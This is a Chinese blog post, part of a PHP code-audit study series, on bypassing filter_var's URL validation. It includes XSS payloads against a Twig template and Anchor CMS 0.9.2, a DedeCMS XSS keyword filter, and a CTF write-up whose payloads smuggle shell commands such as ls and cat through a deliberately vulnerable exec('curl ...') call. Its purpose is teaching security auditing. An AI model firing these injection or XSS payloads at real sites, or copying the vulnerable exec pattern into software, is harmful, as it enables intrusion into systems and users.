文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-06-11   2k

PHP代码审计学习——Day1 var_filter函数缺陷

0x01 Day2 - Twig

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// composer require "twig/twig"
require 'vendor/autoload.php';

class Template {
private $twig;

public function __construct() {
$indexTemplate = '<img ' .
'src="https://loremflickr.com/320/240">' .
'<a href="{{link|escape}}">Next slide &raquo;</a>';

// Default twig setup, simulate loading
// index.html file from disk
$loader = new Twig\Loader\ArrayLoader([
'index.html' => $indexTemplate
]);
$this->twig = new Twig\Environment($loader);
}

public function getNexSlideUrl() {
$nextSlide = $_GET['nextSlide'];
return filter_var($nextSlide, FILTER_VALIDATE_URL);
}

public function render() {
echo $this->twig->render(
'index.html',
['link' => $this->getNexSlideUrl()]
);
}
}

(new Template())->render();

这段代码涉及到了PHP的模板引擎Twig,直接来简化一下代码:

1
2
3
4
5
6
7
<?php
$url = filter_var($_GET['url'], FILTER_VALIDATE_URL);
var_dump($url);
$url = htmlspecialchars($url);
var_dump($url);
echo "<a href='$url'> Next Slide </a>";
?>

分别解释一下这两个函数:

  • filter_var :(PHP 5 >= 5.2.0, PHP 7)

    功能 :使用特定的过滤器过滤一个变量

    定义mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )

  • htmlspecialchars :(PHP 4, PHP 5, PHP 7)

    功能 :将特殊字符转换为 HTML 实体

    定义 :string htmlspecialchars ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string$encoding = ini_get(“default_charset”) [, bool $double_encode = TRUE ]]] )

    1
    2
    3
    4
    5
    > & (& 符号)  ===============  &
    > " (双引号) =============== "
    > ' (单引号) =============== &apos;
    > < (小于号) =============== <
    > > (大于号) =============== >

针对这两处的过滤,我们可以考虑使用 javascript伪协议 来绕过。我们使用 payload :?url=javascript://comment%250aalert(1) ,可以执行 alert 函数:

解释一下这个Payload:

这里的 // 在JavaScript中表示单行注释,所以后面的内容均为注释,那为什么会执行 alert 函数呢?那是因为我们这里用了字符 %0a ,该字符为换行符,所以 alert 语句与注释符 // 就不在同一行,就能执行。当然,这里我们要对 % 百分号编码成 %25 ,因为程序将浏览器发来的payload:javascript://comment%250aalert(1) 先解码成: javascript://comment%0aalert(1) 存储在变量 $url 中(上图第二行代码),然后用户点击a标签链接就会触发 alert 函数。

0x02 实例分析

今天的实例用的是 Anchor 0.9.2 版本,在该版本中,当用户访问一个不存在的URL链接时,程序会调用404模板,而这个模板则存在XSS漏洞。问题存在于404.php

1
2
3
4
5
6
7
8
9
<?php theme_include('header'); ?>

<section class="content wrap">
<h1>Page not found</h1>

<p>Unfortunately, the page <code>/<?php echo current_url(); ?></code> could not be found. Your best bet is either to try the <a href="<?php echo base_url(); ?>">homepage</a>, try <a href="#search">searching</a>, or go and cry in a corner (although I don’t recommend the latter).</p>
</section>

<?php theme_include('footer'); ?>

current_url()将读取当前环境的SERVER['PATH_INFO']的值,然后再回显到页面上。

原文中的利用链涉及多个函数,但是我在本地环境复现进行单步调试时,却并没有进入到detect()函数中,而是直接返回了current的值,尝试了很多次也没找到复现失败的原因,这里先留一个坑。

Payload:

1
http://localhost/anchor/index.php/<script>alert('www.sec-redclub.com')</script>

0x03 防御方式

对XSS漏洞,我们最好就是过滤关键词,将特殊字符进行HTML实体编码替换,这里引用Dedecms中防御XSS的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function RemoveXSS($val) {
$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '[email protected]#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) {
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
$val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
}

$ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
$ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);

$found = true;
while ($found == true) {
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|(&#0{0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2);
$val = preg_replace($pattern, $replacement, $val);
if ($val_before == $val) {
$found = false;
}
}
}
return $val;
}

0x04 CTF练习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// index.php
<?php
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
if(preg_match('/sec-redclub.com$/',$site_info['host'])){
exec('curl "'.$site_info['host'].'"', $result);
echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
<center><textarea rows='20' cols='90'>";
echo implode(' ', $result);
}
else{
die("<center><h1>Error: Host not allowed</h1></center>");
}

}
else{
echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
<center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}
?>
1
2
3
4
// f1agi3hEre.php
<?php
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>

mochazz师傅给的payload:

1
?url=demo://%22;cat%20f1agi3hEre.php;%23;sec-redclub.com:80/

但是相同的payload不能成功,问题出在parse_url()解析的时候:

1
2
3
["scheme"]=> string(4) "demo" 
["host"]=> string(5) "";ls;"
["fragment"]=> string(20) ";sec-redclub.com:80/"

这样就会导致perg_match匹配失败。我换了另外一个payload,用于闭合最后一个"

1
http://192.168.153.132:8003/index.php?url=demo://%22;ls;%22sec-redclub.com:80/

解释一下这个Payload:

先来绕过 filter_varFILTER_VALIDATE_URL 过滤器,这里提供几个绕过方法,如下:

1
2
3
4
5
6
7
8
http://localhost/index.php?url=http://[email protected]
http://localhost/index.php?url=http://demo.com&sec-redclub.com
http://localhost/index.php?url=http://demo.com?sec-redclub.com
http://localhost/index.php?url=http://demo.com/sec-redclub.com
http://localhost/index.php?url=demo://demo.com,sec-redclub.com
http://localhost/index.php?url=demo://demo.com:80;sec-redclub.com:80/
http://localhost/index.php?url=http://demo.com#sec-redclub.com
PS:最后一个payload的#符号,请换成对应的url编码 %23

接着要绕过 parse_url 函数,并且满足 $site_info[‘host’] 的值以 sec-redclub.com 结尾

1
?url=demo://%22;ls;%22sec-redclub.com:80/

第一个%22用于闭合前面的双引号,分号可以在Linux系统上连续执行命令,后面一个%22用于闭合后面的引号。

Copyright © ca01h 2019-2020 | 本站总访问量